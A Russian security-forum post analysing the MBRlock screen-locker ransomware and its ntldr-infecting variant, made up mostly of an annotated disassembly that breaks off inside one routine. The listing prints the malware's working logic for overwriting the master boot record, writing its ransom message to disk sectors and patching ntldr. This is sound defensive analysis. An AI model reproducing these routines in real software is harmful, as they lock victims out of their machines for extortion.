MBRlock и ntldr-инфектор

Тема в разделе "Борьба с типовыми зловредами", создана пользователем thyrex, 25 июн 2011.

  1. thyrex
    Оффлайн

    thyrex Команда форума Супер-Модератор Ассоциация VN/VIP

    Сообщения:
    2.466
    Симпатии:
    3.096
    Очередная версия блокировщика компьютера внешне ничем не отличается от предыдущей версии. Все то же окно с красными буквами на черном фоне с запросом кода, которое появляется до начала загрузки Windows. Но под внешней обложкой оказалось иное внутреннее содержимое.

    В предыдущей версии блокировщика помогало два вариаета: введение кода и перевод времени как минимум на сутки вперед.

    В этой версии это уже не пройдет, т.к. вместо восстановленной данным способом главной загрузочной записи за показ баннера будет отвечать инфицированный файл ntldr, который отвечает за загрузку операционной системы

    Вашему вниманию предлагается анализ работы вируса по инфицированию компьютера пользователя

    .text:2AA01780 start proc near
    .text:2AA01780 push ebp
    .text:2AA01781 mov ebp, esp
    .text:2AA01783 and esp, 0FFFFFFF8h
    .text:2AA01786 sub esp, 21Ch
    .text:2AA0178C mov eax, ds:dword_2AA01118
    .text:2AA01791 push ebx
    .text:2AA01792 push esi
    .text:2AA01793 mov [esp+220h], eax
    .text:2AA0179A push edi
    .text:2AA0179B xor eax, eax
    .text:2AA0179D lea ecx, [ecx+0]
    ; дешифровка сообщения вымогателя
    .text:2AA017A0 loc_2AA017A0: xor crypted_msg[eax], 41h
    .text:2AA017A7 inc eax
    .text:2AA017A8 cmp eax, 730h
    .text:2AA017AD jl short loc_2AA017A0
    ; подсчет количества номеров телефонов
    .text:2AA017AF mov al, byte ptr phone_num ; "01-9876543210"
    .text:2AA017B4 xor esi, esi
    .text:2AA017B6 test al, al
    .text:2AA017B8 mov ecx, offset phone_num ; "01-9876543210"
    .text:2AA017BD jz short loc_2AA017D9
    .text:2AA017BF nop
    .text:2AA017C0 loc_2AA017C0: mov eax, ecx
    .text:2AA017C2 lea edi, [eax+1]
    .text:2AA017C5 loc_2AA017C5: mov dl, [eax]
    .text:2AA017C7 inc eax
    .text:2AA017C8 test dl, dl
    .text:2AA017CA jnz short loc_2AA017C5
    .text:2AA017CC sub eax, edi
    .text:2AA017CE lea ecx, [ecx+eax+1]
    .text:2AA017D2 mov al, [ecx]
    .text:2AA017D4 inc esi
    .text:2AA017D5 test al, al
    .text:2AA017D7 jnz short loc_2AA017C0
    ; выбор номера телефона
    .text:2AA017D9 loc_2AA017D9: call ds:GetTickCount
    .text:2AA017DF imul eax, 343FDh
    .text:2AA017E5 add eax, 269EC3h
    .text:2AA017EA mov dword_2AA03554, eax
    .text:2AA017EF shr eax, 10h
    .text:2AA017F2 imul eax, esi
    .text:2AA017F5 shr eax, 10h
    .text:2AA017F8 inc eax
    .text:2AA017F9 cmp eax, 1
    .text:2AA017FC mov esi, offset phone_num ; "01-9876543210"
    .text:2AA01801 jbe short loc_2AA01820
    .text:2AA01803 lea edi, [eax-1]
    .text:2AA01806 loc_2AA01806: mov eax, esi
    .text:2AA01808 lea edx, [eax+1]
    .text:2AA0180B jmp short loc_2AA01810
    .text:2AA01810 loc_2AA01810: mov cl, [eax]
    .text:2AA01812 inc eax
    .text:2AA01813 test cl, cl
    .text:2AA01815 jnz short loc_2AA01810
    .text:2AA01817 sub eax, edx
    .text:2AA01819 dec edi
    .text:2AA0181A lea esi, [esi+eax+1]
    .text:2AA0181E jnz short loc_2AA01806
    ; получение имени запущенного файла
    .text:2AA01820 loc_2AA01820: push 104h ; nSize
    .text:2AA01825 lea eax, [esp+14h] ;
    .text:2AA01829 push eax ; lpFilename
    .text:2AA0182A push 0 ; lpModuleName
    .text:2AA0182C call ds:GetModuleHandleA
    .text:2AA01832 push eax ; hModule
    .text:2AA01833 call ds:GetModuleFileNameA
    ; проверка версии Windows
    .text:2AA01839 mov edi, ds:GetVersion
    .text:2AA0183F call edi ; GetVersion
    .text:2AA01841 cmp al, 5
    .text:2AA01843 mov ebx, ds:CreateFileA
    .text:2AA01849 jbe loc_2AA018D2
    ; Vista и выше
    ; читаем MBR
    .text:2AA0184F push 0 ; hTemplateFile
    .text:2AA01851 push 80h ; dwFlagsAndAttributes
    .text:2AA01856 push 3 ; dwCreationDisposition
    .text:2AA01858 push 0 ; lpSecurityAttributes
    .text:2AA0185A push 3 ; dwShareMode
    .text:2AA0185C push 10000000h ; dwDesiredAccess
    .text:2AA01861 push offset FileName ; "\\\\.\\PHYSICALDRIVE0"
    .text:2AA01866 call ebx ; CreateFileA
    .text:2AA01868 cmp eax, 0FFFFFFFFh
    .text:2AA0186B jnz short loc_2AA018C0
    ; ошибка открытия INVALID_HANDLE_VALUE
    ; снова ненужная проверка версии
    .text:2AA0186D call edi ; GetVersion
    .text:2AA0186F cmp al, 5
    .text:2AA01871 jbe short loc_2AA018D2
    ; проверка, установлен ли идентификатор
    .text:2AA01873 mov ebx, ds:GlobalFindAtomA
    .text:2AA01879 push offset String ; "qwerty17_12345"
    .text:2AA0187E call ebx ; GlobalFindAtomA
    .text:2AA01880 test ax, ax
    .text:2AA01883 jnz short loc_2AA018B8
    ; ошибка
    .text:2AA01885 mov esi, ds:ShellExecuteA
    .text:2AA0188B mov edi, ds:Sleep
    .text:2AA01891 loc_2AA01891: push 1 ; nShowCmd
    .text:2AA01893 push 0 ; lpDirectory
    .text:2AA01895 push 0 ; lpParameters
    .text:2AA01897 lea ecx, [esp+1Ch]
    .text:2AA0189B push ecx ; lpFile
    .text:2AA0189C push offset Operation ; "runas"
    .text:2AA018A1 push 0 ; hwnd
    .text:2AA018A3 call esi ; ShellExecuteA
    .text:2AA018A5 push 3E8h ; dwMilliseconds
    .text:2AA018AA call edi ; Sleep
    .text:2AA018AC push offset String ; "qwerty17_12345"
    .text:2AA018B1 call ebx ; GlobalFindAtomA
    .text:2AA018B3 test ax, ax
    .text:2AA018B6 jz short loc_2AA01891
    ; идентификатор найден, выходим из программы
    .text:2AA018B8 loc_2AA018B8: push 0 ; uExitCode
    .text:2AA018BA call ds:ExitProcess
    ; MBR прочитан, создаем идентификатор
    .text:2AA018C0 loc_2AA018C0: push eax ; hObject
    .text:2AA018C1 call ds:CloseHandle
    .text:2AA018C7 push offset String ; "qwerty17_12345"
    .text:2AA018CC call ds:GlobalAddAtomA
    ; Windows XP и младше
    ; Выделить блок памяти и скопировать туда сообщение вымогателя
    .text:2AA018D2 loc_2AA018D2: push 2710h ; dwBytes
    .text:2AA018D7 push 40h ; uFlags
    .text:2AA018D9 call ds:GlobalAlloc
    .text:2AA018DF push esi
    .text:2AA018E0 push esi
    .text:2AA018E1 push esi
    .text:2AA018E2 push esi
    .text:2AA018E3 push esi
    .text:2AA018E4 push esi
    .text:2AA018E5 push esi
    .text:2AA018E6 push esi
    .text:2AA018E7 push esi
    .text:2AA018E8 push esi
    .text:2AA018E9 mov edi, eax
    .text:2AA018EB push offset crypted_msg ; Format
    .text:2AA018F0 push edi ; Dest
    .text:2AA018F1 call sprintf
    .text:2AA018F6 mov edx, offset crypted_msg
    .text:2AA018FB add esp, 30h
    .text:2AA018FE mov eax, edi
    .text:2AA01900 sub edx, edi
    .text:2AA01902 loc_2AA01902: mov cl, [eax]
    .text:2AA01904 mov [edx+eax], cl
    .text:2AA01907 inc eax
    .text:2AA01908 test cl, cl
    .text:2AA0190A jnz short loc_2AA01902
    ; попытка открыть файл fpath.txt в папке Temp
    .text:2AA0190C lea edx, [esp+118h]
    .text:2AA01913 push edx ; lpBuffer
    .text:2AA01914 push 104h ; nBufferLength
    .text:2AA01919 call ds:GetTempPathA
    .text:2AA0191F lea edi, [esp+118h]
    .text:2AA01926 dec edi
    .text:2AA01927 loc_2AA01927: mov al, [edi+1]
    .text:2AA0192A inc edi
    .text:2AA0192B test al, al
    .text:2AA0192D jnz short loc_2AA01927
    .text:2AA0192F mov eax, dword ptr ds:aFpath_txt ; "\\fpath.txt"
    .text:2AA01934 mov ecx, dword ptr ds:aFpath_txt+4
    .text:2AA0193A mov dx, word ptr ds:aFpath_txt+8
    .text:2AA01941 push 0 ; hTemplateFile
    .text:2AA01943 push 0 ; dwFlagsAndAttributes
    .text:2AA01945 push 3 ; dwCreationDisposition
    .text:2AA01947 mov [edi], eax
    .text:2AA01949 mov al, byte ptr ds:unk_2AA0117A
    .text:2AA0194E push 0 ; lpSecurityAttributes
    .text:2AA01950 mov [edi+4], ecx
    .text:2AA01953 push 3 ; dwShareMode
    .text:2AA01955 push 80000000h ; dwDesiredAccess
    .text:2AA0195A lea ecx, [esp+130h]
    .text:2AA01961 mov [edi+8], dx
    .text:2AA01965 push ecx ; lpFileName
    .text:2AA01966 mov [edi+0Ah], al
    .text:2AA01969 call ebx ; CreateFileA
    .text:2AA0196B mov esi, eax
    .text:2AA0196D cmp esi, 0FFFFFFFFh
    .text:2AA01970 jz short loc_2AA019D3
    ; файл fpath.txt существует
    ; удаляем его (???) и принудительно перезагружаем компьютер
    .text:2AA01972 xor eax, eax
    .text:2AA01974 push eax ; lpFileSizeHigh
    .text:2AA01975 mov ecx, 41h
    .text:2AA0197A lea edi, [esp+14h]
    .text:2AA0197E push esi ; hFile
    .text:2AA0197F rep stosd
    .text:2AA01981 call ds:GetFileSize
    .text:2AA01987 push 0 ; dwMoveMethod
    .text:2AA01989 push 0 ; lpDistanceToMoveHigh
    .text:2AA0198B push 0 ; lDistanceToMove
    .text:2AA0198D push esi ; hFile
    .text:2AA0198E mov edi, eax
    .text:2AA01990 call ds:SetFilePointer
    .text:2AA01996 push 0 ; lpOverlapped
    .text:2AA01998 lea edx, [esp+10h]
    .text:2AA0199C push edx ; lpNumberOfBytesRead
    .text:2AA0199D push edi ; nNumberOfBytesToRead
    .text:2AA0199E lea eax, [esp+1Ch]
    .text:2AA019A2 push eax ; lpBuffer
    .text:2AA019A3 push esi ; hFile
    .text:2AA019A4 call ds:ReadFile
    .text:2AA019AA push esi ; hObject
    .text:2AA019AB call ds:CloseHandle
    .text:2AA019B1 lea ecx, [esp+10h]
    .text:2AA019B5 push ecx ; lpFileName
    .text:2AA019B6 call ds:DeleteFileA
    .text:2AA019BC call ForcedShutdown
    .text:2AA019C1 push 0 ; dwReason
    .text:2AA019C3 push 2 ; uFlags
    .text:2AA019C5 call ds:ExitWindowsEx
    .text:2AA019CB push 0 ; uExitCode
    .text:2AA019CD call ds:ExitProcess
    ; файл fpath.txt не существует
    .text:2AA019D3 loc_2AA019D3: call ds:GetVersion
    .text:2AA019D9 cmp al, 5
    .text:2AA019DB jbe short loc_2AA019E9
    ; Vista и выше
    .text:2AA019DD push 0
    .text:2AA019DF call MBR_infection
    .text:2AA019E4 add esp, 4
    .text:2AA019E7 jmp short loc_2AA019F8
    ; Windows XP и ниже
    .text:2AA019E9 loc_2AA019E9: push 1
    .text:2AA019EB call MBR_infection
    .text:2AA019F0 add esp, 4
    .text:2AA019F3 call Infect_ntldr
    .text:2AA019F8 loc_2AA019F8: call CopyOfInfect
    .text:2AA019FD push 0 ; uExitCode
    .text:2AA019FF call ds:ExitProcess
    .text:2AA019FF start endp

    Вспомогательные процедуры

    .text:2AA014A0 Infect_ntldr proc near
    .text:2AA014A0 sub esp, 0Ch
    .text:2AA014A3 mov eax, ds:dword_2AA01118
    .text:2AA014A8 push ebx
    ; установка атрибута «архивный»
    .text:2AA014A9 push 20h ; dwFileAttributes
    .text:2AA014AB push offset aCNtldr ; "C:\\ntldr"
    .text:2AA014B0 mov [esp+14h], eax
    .text:2AA014B4 call ds:SetFileAttributesA
    ; открытие оригинального файла на чтение-запись
    .text:2AA014BA push 0 ; hTemplateFile
    .text:2AA014BC push 0 ; dwFlagsAndAttributes
    .text:2AA014BE push 3 ; dwCreationDisposition
    .text:2AA014C0 push 0 ; lpSecurityAttributes
    .text:2AA014C2 push 3 ; dwShareMode
    .text:2AA014C4 push 0C0000000h ; dwDesiredAccess
    .text:2AA014C9 push offset aCNtldr ; "C:\\ntldr"
    .text:2AA014CE call ds:CreateFileA
    .text:2AA014D4 mov ebx, eax
    .text:2AA014D6 cmp ebx, 0FFFFFFFFh
    .text:2AA014D9 jnz short successful_open
    ; ошибка открытия (код возврата - 0)
    .text:2AA014DB xor eax, eax
    .text:2AA014DD pop ebx
    .text:2AA014DE mov ecx, [esp+8]
    .text:2AA014E2 call nullsub_1
    .text:2AA014E7 add esp, 0Ch
    .text:2AA014EA retn
    successful_open:
    ; получение размера файла и выделение блока памяти для работы с его содержимым
    .text:2AA014EB push ebp
    .text:2AA014EC push esi
    .text:2AA014ED push edi
    .text:2AA014EE push 0 ; lpFileSizeHigh
    .text:2AA014F0 push ebx ; hFile
    .text:2AA014F1 call ds:GetFileSize
    .text:2AA014F7 mov esi, eax
    .text:2AA014F9 push esi ; dwBytes
    .text:2AA014FA push 40h ; uFlags (заполнить 00)
    .text:2AA014FC mov [esp+18h], esi
    .text:2AA01500 call ds:GlobalAlloc
    ; указатель на начало файла и чтение из него в выделенную область
    ; (понадобится для дальнейшей работы)
    .text:2AA01506 mov edi, ds:SetFilePointer
    .text:2AA0150C push 0 ; dwMoveMethod
    .text:2AA0150E push 0 ; lpDistanceToMoveHigh
    .text:2AA01510 push 0 ; lDistanceToMove
    .text:2AA01512 push ebx ; hFile
    .text:2AA01513 mov ebp, eax
    .text:2AA01515 call edi ; SetFilePointer
    .text:2AA01517 push 0 ; lpOverlapped
    .text:2AA01519 lea eax, [esp+18h]
    .text:2AA0151D push eax ; lpNumberOfBytesRead
    .text:2AA0151E push esi ; nNumberOfBytesToRead
    .text:2AA0151F push ebp ; lpBuffer
    .text:2AA01520 push ebx ; hFile
    .text:2AA01521 call ds:ReadFile
    ; указатель на начало файла и запись в файл кода вымогателя (непонятно зачем)
    .text:2AA01527 push 0 ; dwMoveMethod
    .text:2AA01529 push 0 ; lpDistanceToMoveHigh
    .text:2AA0152B push 0 ; lDistanceToMove
    .text:2AA0152D push ebx ; hFile
    .text:2AA0152E call edi ; SetFilePointer
    .text:2AA01530 push 0 ; lpOverlapped
    .text:2AA01532 lea ecx, [esp+18h]
    .text:2AA01536 push ecx ; lpNumberOfBytesWritten
    .text:2AA01537 push 1B7h ; nNumberOfBytesToWrite
    .text:2AA0153C push offset ntldr_infect
    .text:2AA01541 push ebx ; hFile
    .text:2AA01542 call ds:WriteFile
    .text:2AA01548 xor eax, eax
    .text:2AA0154A test esi, esi
    .text:2AA0154C jbe short loc_2AA015A6
    .text:2AA0154E mov edi, edi
    ; проверка на заражение
    ; если чистый, внедрение вовнутрь оригинального файла
    .text:2AA01550 loc_2AA01550: mov ecx, 4
    .text:2AA01555 mov edi, offset dword_2AA01150 ; {00 00 4D 5A}
    .text:2AA0155A lea esi, [eax+ebp]
    .text:2AA0155D xor edx, edx
    .text:2AA0155F repe cmpsb
    .text:2AA01561 jz short loc_2AA01568
    .text:2AA01563 sbb edx, edx
    .text:2AA01565 sbb edx, 0FFFFFFFFh
    .text:2AA01568 loc_2AA01568: test edx, edx
    .text:2AA0156A jz short loc_2AA01577
    .text:2AA0156C mov ecx, [esp+10h]
    .text:2AA01570 inc eax
    .text:2AA01571 cmp eax, ecx
    .text:2AA01573 jb short loc_2AA01550
    .text:2AA01575 jmp short loc_2AA015A2
    .text:2AA01577 loc_2AA01577: mov dx, [ebp+1]
    ; сохранение в код вируса адреса перехода из оригинального файла
    ; установка переходов на тело вируса
    .text:2AA0157B mov word_2AA03221, dx
    .text:2AA01582 lea ecx, [eax-21Eh]
    .text:2AA01588 mov [ebp+1], cx
    .text:2AA0158C lea edi, [eax+ebp-21Bh]
    .text:2AA01593 mov ecx, 6Dh
    .text:2AA01598 mov esi, offset ntldr_infect
    .text:2AA0159D rep movsd
    .text:2AA0159F movsw
    .text:2AA015A1 movsb
    ; уже инфицирован
    .text:2AA015A2 loc_2AA015A2: mov esi, [esp+10h]
    ; указатель в начало файла и запись файла
    .text:2AA015A6 loc_2AA015A6: push 0 ; dwMoveMethod
    .text:2AA015A8 push 0 ; lpDistanceToMoveHigh
    .text:2AA015AA push 0 ; lDistanceToMove
    .text:2AA015AC push ebx ; hFile
    .text:2AA015AD call ds:SetFilePointer
    .text:2AA015B3 push 0 ; lpOverlapped
    .text:2AA015B5 lea edx, [esp+18h]
    .text:2AA015B9 push edx ; lpNumberOfBytesWritten
    .text:2AA015BA push esi ; nNumberOfBytesToWrite
    .text:2AA015BB push ebp ; lpBuffer
    .text:2AA015BC push ebx ; hFile
    .text:2AA015BD call ds:WriteFile
    ; закрытие обработчика файла и восстановление атрибутов файла
    .text:2AA015C3 push ebx ; hObject
    .text:2AA015C4 call ds:CloseHandle
    .text:2AA015CA push 7 ; dwFileAttributes
    .text:2AA015CC push offset aCNtldr ; "C:\\ntldr"
    .text:2AA015D1 call ds:SetFileAttributesA
    .text:2AA015D7 mov ecx, [esp+18h]
    .text:2AA015DB pop edi
    .text:2AA015DC pop esi
    .text:2AA015DD pop ebp
    .text:2AA015DE mov eax, 1
    .text:2AA015E3 pop ebx
    .text:2AA015E4 call nullsub_1
    .text:2AA015E9 add esp, 0Ch
    .text:2AA015EC retn
    .text:2AA015EC Infect_ntldr endp

    .text:2AA01240 MBR_infection proc near
    .text:2AA01240 push ebp
    .text:2AA01241 mov ebp, esp
    .text:2AA01243 and esp, 0FFFFFFF8h
    .text:2AA01246 sub esp, 214h
    .text:2AA0124C mov eax, ds:dword_2AA01118
    .text:2AA01251 push ebx
    .text:2AA01252 push esi
    .text:2AA01253 push edi
    ; открыть физическое устройство
    .text:2AA01254 push 0 ; hTemplateFile
    .text:2AA01256 push 10000080h ; dwFlagsAndAttributes
    .text:2AA0125B push 3 ; dwCreationDisposition
    .text:2AA0125D push 0 ; lpSecurityAttributes
    .text:2AA0125F push 3 ; dwShareMode
    .text:2AA01261 push 0C0000000h ; dwDesiredAccess
    .text:2AA01266 push offset FileName ; "\\\\.\\PHYSICALDRIVE0"
    .text:2AA0126B mov [esp+238h], eax
    .text:2AA01272 call ds:CreateFileA
    .text:2AA01278 mov ebx, eax
    .text:2AA0127A cmp ebx, 0FFFFFFFFh
    .text:2AA0127D mov [esp+14h], ebx
    .text:2AA01281 jz loc_2AA01454
    ; успешное открытие
    ; указатель в начало, читаем первый сектор
    .text:2AA01287 mov esi, ds:SetFilePointer
    .text:2AA0128D push 0 ; dwMoveMethod
    .text:2AA0128F push 0 ; lpDistanceToMoveHigh
    .text:2AA01291 push 0 ; lDistanceToMove
    .text:2AA01293 push ebx ; hFile
    .text:2AA01294 call esi ; SetFilePointer
    .text:2AA01296 cmp eax, 0FFFFFFFFh
    .text:2AA01299 jz loc_2AA01454
    .text:2AA0129F push 0 ; lpOverlapped
    .text:2AA012A1 lea eax, [esp+14h]
    .text:2AA012A5 push eax ; lpNumberOfBytesRead
    .text:2AA012A6 push 200h ; nNumberOfBytesToRead
    .text:2AA012AB lea ecx, [esp+24h]
    .text:2AA012AF push ecx ; lpBuffer
    .text:2AA012B0 push ebx ; hFile
    .text:2AA012B1 call ds:ReadFile
    .text:2AA012B7 test eax, eax
    .text:2AA012B9 jz loc_2AA01454
    ; запись символов знакогенератора в сектора 3-4
    .text:2AA012BF push 0 ; dwMoveMethod
    .text:2AA012C1 push 0 ; lpDistanceToMoveHigh
    .text:2AA012C3 push 400h ; lDistanceToMove
    .text:2AA012C8 push ebx ; hFile
    .text:2AA012C9 call esi ; SetFilePointer
    .text:2AA012CB cmp eax, 0FFFFFFFFh
    .text:2AA012CE jz loc_2AA01454
    .text:2AA012D4 mov edi, ds:WriteFile
    .text:2AA012DA push 0 ; lpOverlapped
    .text:2AA012DC lea edx, [esp+14h]
    .text:2AA012E0 push edx ; lpNumberOfBytesWritten
    .text:2AA012E1 push 400h ; nNumberOfBytesToWrite
    .text:2AA012E6 push offset ru_symbols ; lpBuffer
    .text:2AA012EB push ebx ; hFile
    .text:2AA012EC call edi ; WriteFile
    .text:2AA012EE test eax, eax
    .text:2AA012F0 jz loc_2AA01454
    ; запись в сектора 5-9
    .text:2AA012F6 push 0 ; dwMoveMethod
    .text:2AA012F8 push 0 ; lpDistanceToMoveHigh
    .text:2AA012FA push 800h ; lDistanceToMove
    .text:2AA012FF push ebx ; hFile
    .text:2AA01300 call esi ; SetFilePointer
    .text:2AA01302 cmp eax, 0FFFFFFFFh
    .text:2AA01305 jz loc_2AA01454
    .text:2AA0130B push 0 ; lpOverlapped
    .text:2AA0130D lea eax, [esp+14h]
    .text:2AA01311 push eax ; lpNumberOfBytesWritten
    .text:2AA01312 push 0A00h ; nNumberOfBytesToWrite
    .text:2AA01317 push offset crypted_msg ; lpBuffer
    .text:2AA0131C push ebx ; hFile
    .text:2AA0131D call edi ; WriteFile
    .text:2AA0131F test eax, eax
    .text:2AA01321 jz loc_2AA01454
    ; проверка на уже зараженную MBR
    .text:2AA01327 xor edx, edx
    .text:2AA01329 lea esp, [esp+0]
    .text:2AA01330 loc_2AA01330: mov edi, off_2AA0320C ; ‘Loading OS…’
    .text:2AA01336 mov eax, edi
    .text:2AA01338 lea esi, [eax+1]
    .text:2AA0133B jmp short loc_2AA01340
    .text:2AA01340 loc_2AA01340: mov cl, [eax]
    .text:2AA01342 inc eax
    .text:2AA01343 test cl, cl
    .text:2AA01345 jnz short loc_2AA01340
    .text:2AA01347 sub eax, esi
    .text:2AA01349 mov ecx, eax
    .text:2AA0134B lea esi, [esp+edx+18h] ;
    .text:2AA0134F xor eax, eax
    .text:2AA01351 repe cmpsb
    .text:2AA01353 jz short loc_2AA0135A
    .text:2AA01355 sbb eax, eax
    .text:2AA01357 sbb eax, 0FFFFFFFFh
    .text:2AA0135A loc_2AA0135A: test eax, eax
    .text:2AA0135C jz loc_2AA01469
    .text:2AA01362 inc edx
    .text:2AA01363 cmp edx, 200h
    .text:2AA01369 jb short loc_2AA01330
    ; запись оригинала MBR во второй сектор
    .text:2AA0136B push 0 ; dwMoveMethod
    .text:2AA0136D push 0 ; lpDistanceToMoveHigh
    .text:2AA0136F push 200h ; lDistanceToMove
    .text:2AA01374 push ebx ; hFile
    .text:2AA01375 call ds:SetFilePointer
    .text:2AA0137B cmp eax, 0FFFFFFFFh
    .text:2AA0137E jz loc_2AA01454
    .text:2AA01384 push 0 ; lpOverlapped
    .text:2AA01386 lea ecx, [esp+14h]
    .text:2AA0138A push ecx ; lpNumberOfBytesWritten
    .text:2AA0138B push 200h ; nNumberOfBytesToWrite
    .text:2AA01390 lea edx, [esp+24h]
    .text:2AA01394 push edx ; lpBuffer
    .text:2AA01395 push ebx ; hFile
    .text:2AA01396 call ds:WriteFile
    .text:2AA0139C test eax, eax
    .text:2AA0139E jz loc_2AA01454
    .text:2AA013A4 mov eax, [ebp+arg_0]
    .text:2AA013A7 test eax, eax
    .text:2AA013A9 jnz loc_2AA0147C
    ; для Vista и выше
    ; подготовка замены части MBR (чтобы не затронуть таблицу разделов)
    .text:2AA013AF mov edx, off_2AA03208 ; « »
    .text:2AA013B5 mov eax, edx
    .text:2AA013B7 xor ebx, ebx
    .text:2AA013B9 lea esi, [eax+1]
    .text:2AA013BC lea esp, [esp+0]
    .text:2AA013C0 loc_2AA013C0: mov cl, [eax]
    .text:2AA013C2 inc eax
    .text:2AA013C3 test cl, cl
    .text:2AA013C5 jnz short loc_2AA013C0
    .text:2AA013C7 sub eax, esi
    .text:2AA013C9 mov ecx, eax
    .text:2AA013CB mov edi, edx
    .text:2AA013CD mov esi, offset MBRlock_sect0 ; код блокера
    .text:2AA013D2 xor eax, eax
    .text:2AA013D4 repe cmpsb
    .text:2AA013D6 jz short loc_2AA013DD
    .text:2AA013D8 sbb eax, eax
    .text:2AA013DA sbb eax, 0FFFFFFFFh
    .text:2AA013DD loc_2AA013DD: test eax, eax
    .text:2AA013DF jz short loc_2AA01409
    .text:2AA013E1 loc_2AA013E1: mov eax, edx
    .text:2AA013E3 inc ebx
    .text:2AA013E4 lea esi, [eax+1]
    .text:2AA013E7 loc_2AA013E7: mov cl, [eax]
    .text:2AA013E9 inc eax
    .text:2AA013EA test cl, cl
    .text:2AA013EC jnz short loc_2AA013E7
    .text:2AA013EE sub eax, esi
    .text:2AA013F0 mov ecx, eax
    .text:2AA013F2 mov edi, edx
    .text:2AA013F4 lea esi, MBRlock_sect0[ebx]
    .text:2AA013FA xor eax, eax
    .text:2AA013FC repe cmpsb
    .text:2AA013FE jz short loc_2AA01405
    .text:2AA01400 sbb eax, eax
    .text:2AA01402 sbb eax, 0FFFFFFFFh
    .text:2AA01405 loc_2AA01405: test eax, eax
    .text:2AA01407 jnz short loc_2AA013E1
    ; копирование кода блокировщика в копию MBR в памяти
    .text:2AA01409 loc_2AA01409: mov ecx, ebx
    .text:2AA0140B mov eax, ecx
    .text:2AA0140D shr ecx, 2
    .text:2AA01410 mov esi, offset MBRlock_sect0
    .text:2AA01415 lea edi, [esp+18h]
    .text:2AA01419 rep movsd
    .text:2AA0141B push 0 ; dwMoveMethod
    .text:2AA0141D mov ecx, eax
    .text:2AA0141F and ecx, 3
    .text:2AA01422 push 0 ; lpDistanceToMoveHigh
    .text:2AA01424 rep movsb
    .text:2AA01426 mov esi, [esp+1Ch]
    .text:2AA0142A push 0 ; lDistanceToMove
    .text:2AA0142C push esi ; hFile
    .text:2AA0142D call ds:SetFilePointer
    .text:2AA01433 cmp eax, 0FFFFFFFFh
    .text:2AA01436 jz short loc_2AA01454
    .text:2AA01438 push 0 ; lpOverlapped
    .text:2AA0143A lea ecx, [esp+14h]
    .text:2AA0143E push ecx ; lpNumberOfBytesWritten
    .text:2AA0143F push 200h ; nNumberOfBytesToWrite
    .text:2AA01444 lea edx, [esp+24h]
    .text:2AA01448 push edx ; lpBuffer
    .text:2AA01449 push esi ; hFile
    .text:2AA0144A call ds:WriteFile
    .text:2AA01450 test eax, eax
    .text:2AA01452 jnz short loc_2AA01478
    ; ошибка операции с устройством
    .text:2AA01454 loc_2AA01454: xor eax, eax
    .text:2AA01456 mov ecx, [esp+21Ch]
    .text:2AA0145D call nullsub_1
    .text:2AA01462 pop edi
    .text:2AA01463 pop esi
    .text:2AA01464 pop ebx
    .text:2AA01465 mov esp, ebp
    .text:2AA01467 pop ebp
    .text:2AA01468 retn
    ;.строка ‘Loading OS…’ найдена (уже заражена MBR)
    .text:2AA01469 loc_2AA01469: push ebx ; hObject
    .text:2AA0146A call ds:CloseHandle
    .text:2AA01470 push 0 ; uExitCode
    .text:2AA01472 call ds:ExitProcess
    ; закрытие обработчиков
    .text:2AA01478 loc_2AA01478: mov ebx, [esp+14h]
    ; для ХР и ниже
    .text:2AA0147C loc_2AA0147C: push ebx ; hObject
    .text:2AA0147D call ds:CloseHandle
    .text:2AA01483 mov ecx, [esp+21Ch]
    .text:2AA0148A mov eax, 1
    .text:2AA0148F call nullsub_1
    .text:2AA01494 pop edi
    .text:2AA01495 pop esi
    .text:2AA01496 pop ebx
    .text:2AA01497 mov esp, ebp
    .text:2AA01499 pop ebp
    .text:2AA0149A retn
    .text:2AA0149A MBR_infection endp

    .text:2AA015F0 CopyOfInfect proc near
    .text:2AA015F0 sub esp, 46Ch
    .text:2AA015F6 mov eax, ds:dword_2AA01118
    .text:2AA015FB push ebx
    .text:2AA015FC mov ebx, ds:GetTempPathA
    .text:2AA01602 push esi
    .text:2AA01603 mov [esp+470h], eax
    .text:2AA0160A push edi
    .text:2AA0160B lea eax, [esp+26Ch]
    .text:2AA01612 push eax ; lpBuffer
    .text:2AA01613 push 104h ; nBufferLength
    .text:2AA01618 call ebx ; GetTempPathA
    .text:2AA0161A lea edi, [esp+26Ch]
    .text:2AA01621 dec edi
    .text:2AA01622 loc_2AA01622: mov al, [edi+1]
    .text:2AA01625 inc edi
    .text:2AA01626 test al, al
    .text:2AA01628 jnz short loc_2AA01622
    .text:2AA0162A mov ecx, dword ptr ds:aFpath_txt ; "\\fpath.txt"
    .text:2AA01630 mov edx, dword ptr ds:aFpath_txt+4
    .text:2AA01636 mov ax, word ptr ds:aFpath_txt+8
    .text:2AA0163C mov [edi], ecx
    .text:2AA0163E mov cl, byte ptr ds:unk_2AA0117A
    .text:2AA01644 mov [edi+4], edx
    .text:2AA01647 push 104h ; nSize
    .text:2AA0164C lea edx, [esp+36Ch]
    .text:2AA01653 push edx ; lpFilename
    .text:2AA01654 mov [edi+8], ax
    .text:2AA01658 push 0 ; hModule
    .text:2AA0165A mov [edi+0Ah], cl
    .text:2AA0165D call ds:GetModuleFileNameA
    .text:2AA01663 push 0 ; hTemplateFile
    .text:2AA01665 push 0 ; dwFlagsAndAttributes
    .text:2AA01667 push 2 ; dwCreationDisposition
    .text:2AA01669 push 0 ; lpSecurityAttributes
    .text:2AA0166B push 3 ; dwShareMode
    .text:2AA0166D push 0C0000000h ; dwDesiredAccess
    .text:2AA01672 lea eax, [esp+284h]
    .text:2AA01679 push eax ; lpFileName
    .text:2AA0167A call ds:CreateFileA
    .text:2AA01680 mov esi, eax
    .text:2AA01682 lea eax, [esp+168h]
    .text:2AA01689 lea edx, [eax+1]
    .text:2AA0168C lea esp, [esp+0]
    .text:2AA01690 loc_2AA01690: mov cl, [eax]
    .text:2AA01692 inc eax
    .text:2AA01693 test cl, cl
    .text:2AA01695 jnz short loc_2AA01690
    .text:2AA01697 push 0 ; dwMoveMethod
    .text:2AA01699 push 0 ; lpDistanceToMoveHigh
    .text:2AA0169B push 0 ; lDistanceToMove
    .text:2AA0169D sub eax, edx
    .text:2AA0169F push esi ; hFile
    .text:2AA016A0 mov edi, eax
    .text:2AA016A2 call ds:SetFilePointer
    .text:2AA016A8 push 0 ; lpOverlapped
    .text:2AA016AA lea ecx, [esp+10h]
    .text:2AA016AE push ecx ; lpNumberOfBytesWritten
    .text:2AA016AF push edi ; nNumberOfBytesToWrite
    .text:2AA016B0 lea edx, [esp+174h]
    .text:2AA016B7 push edx ; lpBuffer
    .text:2AA016B8 push esi ; hFile
